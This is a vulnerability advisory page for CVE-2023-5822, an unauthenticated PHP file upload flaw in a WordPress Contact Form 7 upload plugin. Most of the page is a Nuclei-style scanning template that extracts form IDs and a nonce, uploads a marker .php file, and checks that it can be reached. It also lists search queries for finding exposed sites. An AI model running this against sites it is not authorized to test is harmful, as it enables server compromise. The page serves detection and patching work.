CVE-2023-5822: Drag and Drop Multiple File Upload (Contact Form 7) <= 1.3.7.3 - Unauthenticated Arbitrary File Upload

2026-12-04 PoC Public

Description

The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to a bypassable file-type check in the dnd_upload_cf7_upload() function in versions up to, and including, 1.3.7.3. When a multiple-file-upload [mfile] field is configured to accept all file types (filetypes:*), the extension allowlist and the dangerous-extension blocklist are skipped, and the only remaining filter is sourced from the attacker-controlled POST parameter blacklist-types. An unauthenticated attacker omits that parameter and uploads a dangerous file (e.g. .php) to a web-accessible uploads directory via the nopriv AJAX action dnd_codedropz_upload, which may make remote code execution possible. Fixed in 1.3.7.4 by sourcing the blacklist from the server-side form configuration.

Details

CVE
CVE-2023-5822 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2023-5822

info:
  name: Drag and Drop Multiple File Upload (Contact Form 7) <= 1.3.7.3 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: high
  description: |
    The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to a bypassable file-type check in the dnd_upload_cf7_upload() function in versions up to, and including, 1.3.7.3. When a multiple-file-upload [mfile] field is configured to accept all file types (filetypes:*), the extension allowlist and the dangerous-extension blocklist are skipped, and the only remaining filter is sourced from the attacker-controlled POST parameter blacklist-types. An unauthenticated attacker omits that parameter and uploads a dangerous file (e.g. .php) to a web-accessible uploads directory via the nopriv AJAX action dnd_codedropz_upload, which may make remote code execution possible. Fixed in 1.3.7.4 by sourcing the blacklist from the server-side form configuration.
  impact: |
    Attackers can upload arbitrary files, potentially leading to remote code execution or server compromise.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-contact-form-7-1374-unauthenticated-arbitrary-file-upload
    - https://www.wordfence.com/blog/2023/11/a-challenging-exploit-the-contact-form-7-file-upload-vulnerability/
    - https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-contact-form-7-plugin-1-3-7-3-unauthenticated-arbitrary-file-upload-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5822
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-5822
    epss-score: 0.022
    epss-percentile: 0.831
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: codedropz
    product: drag_and_drop_multiple_file_upload_-_contact_form_7
    framework: wordpress
    publicwww-query: "/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/"
    fofa-query: body="/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7"
  tags: cve,cve2023,wordpress,wp-plugin,wp,contact-form-7,drag-and-drop-multiple-file-upload-contact-form-7,fileupload,rce,intrusive,unauth,codedropz,vkev

variables:
  marker: "{{rand_text_alpha(10)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=100&_fields=content HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wpcf7-drag-n-drop-file")'
        internal: true

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - 'data-type=\\"\*\\" data-id=\\"([0-9]+)'

      - type: regex
        name: upload_name
        part: body
        internal: true
        group: 1
        regex:
          - 'data-name=\\"([a-zA-Z0-9_-]+)\\" data-type=\\"\*'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=_wpcf7_check_nonce

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"success\":true")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - '"data":"([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----CVE20235822

        ------CVE20235822
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        ------CVE20235822
        Content-Disposition: form-data; name="security"

        {{nonce}}
        ------CVE20235822
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        ------CVE20235822
        Content-Disposition: form-data; name="upload_name"

        {{upload_name}}
        ------CVE20235822
        Content-Disposition: form-data; name="upload-file"; filename="{{marker}}.php"
        Content-Type: application/x-php

        <?php /* {{marker}} */ ?>
        ------CVE20235822--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"success\":true")'
        internal: true

    extractors:
      - type: regex
        name: upfile
        part: body
        internal: true
        group: 1
        regex:
          - '"file":"([^"]+)"'

  - raw:
      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{upfile}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'

      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
# digest: 4a0a00473045022013489f140e80269542086a952ad398868248efefa99a203dae91124b40545f47022100bf41c23c69be4dd069e938b06e64332f1659a19547fb4a5848da1f992b6a13fa:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life